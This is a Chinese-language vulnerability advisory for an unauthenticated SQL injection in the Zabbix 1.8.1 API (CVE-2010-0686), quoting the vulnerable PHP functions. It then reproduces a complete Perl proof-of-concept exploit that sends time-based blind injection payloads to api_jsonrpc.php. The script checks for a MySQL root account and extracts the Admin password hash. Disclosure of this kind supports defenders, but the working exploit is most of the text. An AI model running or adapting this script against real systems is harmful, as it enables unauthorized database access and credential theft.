BUGTRAQ ID: 39148
CVE ID: CVE-2010-0686
zabbix是一个CS结构的分布式网络监控系统。
Zabbix API使用了include/db.inc.php中定义的DBcondition()函数来执行SQL查询中WHERE子句的条件。该函数没有对用户提供数据提供额外的检查:
function DBcondition($fieldname, &$array, $notin=false, $string=false){
global $DB;
$condition = ‘’;
—[cut]—
$in = $notin?’ NOT IN ‘:’ IN ‘;
$concat = $notin?’ AND ‘:’ OR ‘;
$glue = $string?"’,‘":’,';
switch($DB['TYPE']) {
case 'SQLITE3':
case 'MYSQL':
case 'POSTGRESQL':
case 'ORACLE':
default:
$items = array_chunk($array, 950);
foreach($items as $id => $values){
$condition.=!empty($condition)?')'.$concat.$fieldname.$in.'(':'';
if($string) $condition.= "'".implode($glue,$values)."'";
else $condition.= implode($glue,$values);
}
break;
}
if(zbx_empty($condition)) $condition = $string?"'-1'":'-1';
return ’ (‘.$fieldname.$in.’(‘.$condition.’)) ';
}
Zabbix API代码中多次使用了DBcondition()包含用户在SQL查询中所提供的参数,在class.cuser.php的认证过程中也使用了这个函数:
class CUser extends CZBXAPI{
—[cut]—
public static function get($options=array()){
—[cut]—
// users
if(!is_null($options[‘users’])){
zbx_value2array($options[‘users’]);
$sql_parts[‘where’][] = DBcondition(‘u.alias’, $options[‘users’],
false, true);
}
—[cut]—
if(!empty($sql_parts[‘where’])) $sql_where.= ’ AND ‘.implode(’
AND ',$sql_parts[‘where’]);
—[cut]—
$sql = 'SELECT DISTINCT ‘.$sql_select.’
FROM ‘.$sql_from.’
WHERE '.DBin_node(‘u.userid’, $nodeids).
$sql_where.
$sql_order;
$res = DBselect($sql, $sql_limit);
—[cut]—
从rpc/class.czbxrpc.php文件可见可以user参数调用Zabbix API的user.authenticate方式来提供$options[‘users’]变量:
// Authentication {{{
if(($resource == ‘user’) && ($action == ‘authenticate’)){
$sessionid = null;
$options = array(
'users' => $params['user'],
'extendoutput' => 1,
'get_access' => 1
);
$users = CUser::get($options);
$user = reset($users);
if($user['api_access'] != GROUP_API_ACCESS_ENABLED){
self::$result = array('error' => ZBX_API_ERROR_NO_AUTH, 'data' =>
‘No API access’);
return self::$result;
}
由于缺少过滤检查,用户无需认证就可以执行SQL注入攻击。
ZABBIX SIA zabbix <= 1.8.1
厂商补丁:
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
#!/usr/bin/perl
#
# zabbix181api.pl - Zabbix <= 1.8.1 API SQL Injection PoC Exploit
#
# Copyright (c) 2010
# Dawid Golunski <dawid[!]legalhackers.com>
# legalhackers.com
#
# Description
# -----------
# A PoC exploit for Zabbix <= 1.8.1 API (api_jsonrpc.php) prone to
# an sql injection attack allowing unauthenticated users to access
# the backend database.
# The exploit performs a blind time-based sql injection attack to
# retrieve Zabbix Admin's password hash and check if Zabbix uses a
# MySQL root account.
#
# Example
# -----------
# $ ./zabbix181api.pl http://10.0.0.1/zabbix
# Target: http://10.0.0.1/zabbix
# Reqtime: 0.2s ; SleepTime: 0.4s
#
# Checking if zabbix uses mysql root account... No
#
# Extracting Admin's password hash from zabbix users table:
# 5fce1b3c34b520ageffb47ce08a7cd76
# Job done.
#
use Time::HiRes qw(gettimeofday tv_interval);
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
my $zabbix_api_url = shift || die "No target url provided. Exiting.\n";
$zabbix_api_url .= "/api_jsonrpc.php";
my $ua = LWP::UserAgent->new;
$ua->timeout(8);
sub sendRequest
{
my ($api_url, $data) = @_;
my $start_time = [gettimeofday];
my $response = $ua->request(POST "$api_url",
Content_Type => "application/json-rpc",
Content => "$data");
my $end_time = [gettimeofday];
my $elapsed_time = tv_interval($start_time,$end_time);
my $elapsed_time_sec = sprintf "%.1f", $elapsed_time;
my %result = ("content", $response->content,
"code", $response->code,
"success", ($response->is_success() ? 1 : 0),
"time", $elapsed_time_sec);
return %result;
}
%result = sendRequest($zabbix_api_url, "");
if ($result{success} ne 1) {
die "Could not access zabbix API.\n";
}
my $req_time = $result{time};
my $sleep_time = ($req_time * 2.0);
print "Target: $zabbix_api_url\n";
print "Reqtime: ${req_time}s ; SleepTime: ${sleep_time}s \n\n";
$| = 1;
print "Checking if zabbix uses mysql root account... ";
my $jsondata = '{"auth":null,"method":"user.authenticate","id":1,"params":{'.
'"password":"apitest123",'.
'"user":"Admin\') ) OR '.
'if (!strcmp(substring(user(),1,4),\'root\'),sleep('.$sleep_time.'),0) '.
' -- end "},"jsonrpc":"2.0"}';
%result = sendRequest($zabbix_api_url, $jsondata);
print $result{content};
if ($result{time} >= $sleep_time) {
print "Yes!\n\n";
} else {
print "No\n\n";
}
my $username = "Admin";
my @chars = (0 .. 10, "a" .. "f");
my $md5_hash = "";
print "Extracting Admin's password hash from zabbix users table:\n";
for (my $offset=1; $offset<=32; $offset++) {
for (my $idx=0; $idx<(scalar @chars); $idx++) {
$jsondata = '{"auth":null,"method":"user.authenticate","id":1,"params":{'.
'"password":"apitest123",'.
'"user":"'.$username.'\') ) AND '.
'if (!strcmp(substring(u.passwd,'.$offset.',1),\''.$chars[$idx].'\'),sleep('.$sleep_time.'),0) '.
' -- end "},"jsonrpc":"2.0"}';
%result = sendRequest($zabbix_api_url, $jsondata);
if ($result{time} >= $sleep_time) {
$md5_hash .= $chars[$idx];
print $chars[$idx];
}
}
}
print "\nJob done.\n";